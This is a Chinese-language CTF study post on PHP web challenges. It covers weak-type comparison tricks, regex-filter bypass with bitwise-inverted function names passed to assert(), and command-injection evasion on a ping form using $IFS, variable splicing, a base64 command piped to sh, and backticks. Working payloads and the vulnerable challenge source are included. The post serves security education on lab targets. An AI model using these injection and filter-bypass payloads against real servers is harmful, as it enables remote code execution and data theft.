84:CTF夺旗-PHP弱类型&异或取反&序列化&RCE

思维导图

本课重点:

  • 案例1:PHP-相关总结知识点-后期复现
  • 案例2:PHP-弱类型对比绕过测试-常考点
  • 案例3:PHP-正则preg_match绕过-常考点
  • 案例4:PHP-命令执行RCE变异绕过-常考点
  • 案例5:PHP-反序列化考题分析构造复现-常考点

案例1:PHP-相关总结知识点-后期复现

相关PHP所有总结知识点参考:

https://www.cnblogs.com/iloveacm/category/1791836.html

1 ctf变量
2 php的弱类型比较问题
3 php断言(assert)
4 php读取目录下文件的方法
5 preg_match绕过
6 PHP中sha1()函数和md5()

1 异或注入
2 updatexml()函数报错注入
3 源文件泄露利用
4 extract变量覆盖
5 strcmp()漏洞
6 md5()漏洞
7 ereg()截断漏洞
8 弱类型整数大小比较绕过

1 命令执行
2 md5()漏洞
3 escapeshellarg()与escapeshellcmd()
4 sql注入绕过关键字
5 preg_replace/e的命令执行漏洞
6 MYSQL特殊模式
7 PHP字符串解析特性

案例2:PHP-弱类型对比绕过测试-常考点

弱类型绕过对比总结:

https://www.cnblogs.com/Mrsm1th/p/6745532.html

=== 在进行比较的时候,会先判断两种字符串的类型是否相等,再比较
== 在进行比较的时候,会先将字符串类型转化成相同,再比较

举例

//对函数类型有限制
<?php
$num=$_GET['num'];
if (!is_numeric($num)){
	echo $num;
	if($num==l)
	echo 'flag{*****flag****} ';
?>
//indexl.php?num=1x
//indexl.php?num=1%0a

传参1x,得到flag。

案例3:PHP-正则preg_match绕过-常考点

ctf中 preg_match 绕过技术:

  • 方法1:异或
  • 方法2:取反
  • 方法3:数组
  • 方法4: PCRE
  • 方法5∶换行符
  • 参考:http://t.zoukankan.com/v01cano-p-11736722.html

真题:preg_match绕过-ctfhub-2020-第五空间智能安全大赛-web-hate_php

靶场地址:https://www.ctfhub.com/#/challenge

<1>打开页面,显示如下代码

<?php
error_reporting(0);
if(!isset($_GET['code'])){
    highlight_file(__FILE__);
}else{
    $code = $_GET['code'];
    if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) {
        die('You are too good for me');
    }
    $blacklist = get_defined_functions()['internal'];
    foreach ($blacklist as $blackitem) {
        if (preg_match ('/' . $blackitem . '/im', $code)) {
            die('You deserve better');
        }
    }
    assert($code);
}

<2>第一个正则表达式过滤了很多字符且不区分大小写。第二个正则表达式过滤了PHP的内置函数,因此即使找到了某个函数恰好可以绕过第一个,也过不去第二个过滤。这样的题目,一般的思路就是利用异或或者取反来绕过。这里用取反来绕过。

首先打印当前目录下的文件:print_r(scandir('.')) 

<?php
echo urlencode(~'print_r');  //urlencode url编码  ~ 取反
echo "\n";
echo urlencode(~'scandir');
echo "\n";
echo urlencode(~'.');
?>

//生成payload:/?code=(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)((~%D1)))

然后显示flag内容:highlight_file('flag.php')

<?php
echo urlencode(~'highlight_file'); 
echo "\n";
echo urlencode(~'flag.php'); 
?>

//生成payload:/?code=(~%97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A)((~%99%93%9E%98%D1%8F%97%8F))

成功拿到flag。

案例4:PHP-命令执行RCE变异绕过-常考点

命令执行常见绕过:https://www.cnblogs.com/iloveacm/p/13687654.html

靶场地址:https://buuoj.cn/challenges#[GXYCTF2019]Ping Ping Ping

<1>场景打开如下,猜测有命令执行漏洞。

<2>使用管道符,成功列出当前目录下文件

 

 <3>尝试读取flag文件,失败,发现过滤了空格、特殊字符、关键字flag等。

 

<4>尝试绕过

空格绕过方式:
$IFS
${IFS}
$IFS$数字 
< 
<> 

三种绕过方式:
1.sh
/?ip=127.0.0.1;echo$IFS$2Y2F0IGZsYWcucGhw|base64$IFS$2-d|sh

2.变量拼接
/?ip=127.0.0.1;a=g;cat$IFS$2fla$a.php

3.内联注释(将反引号命令的结果作为输入来执行命令)
/?ip=127.0.0.1;cat$IFS$2`ls`

使用变量拼接的方式,成功绕过,得到flag。(需要右击查看网页源代码)

/?ip=127.0.0.1;a=g;cat$IFS$2fla$a.php

同样,也可以查看网页源代码,分析绕过规则

/?ip=127.0.0.1;cat$IFS$2index.php 

<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}

?>

案例5:PHP-反序列化考题分析构造复现-常考点

真题:网鼎杯2020-青龙组-web-AreUserialz

靶场地址:https://www.ctfhub.com/#/challenge

发现Flag位置-反序列化考点-分析代码-构造代码生成Payload

具体解题步骤参考前面笔记 37:WEB漏洞-反序列化之PHP&JAVA全解(上)

https://www.cnblogs.com/zhengna/p/15661109.html

涉及资源:

  • https://www.cnblogs.com/iloveacm/category/1791836.html CTF知识点
  • https://buuoj.cn/challenges 靶场
  • https://www.ctfhub.com/#/challenge ctf
  • http://t.zoukankan.com/v01cano-p-11736722.html ctf中 preg_match 绕过技术 | 无字母数字的webshell
  • https://www.cnblogs.com/iloveacm/p/13687654.html 命令执行
posted @ 2022-01-17 17:38  zhengna  阅读(911)  评论(0编辑  收藏  举报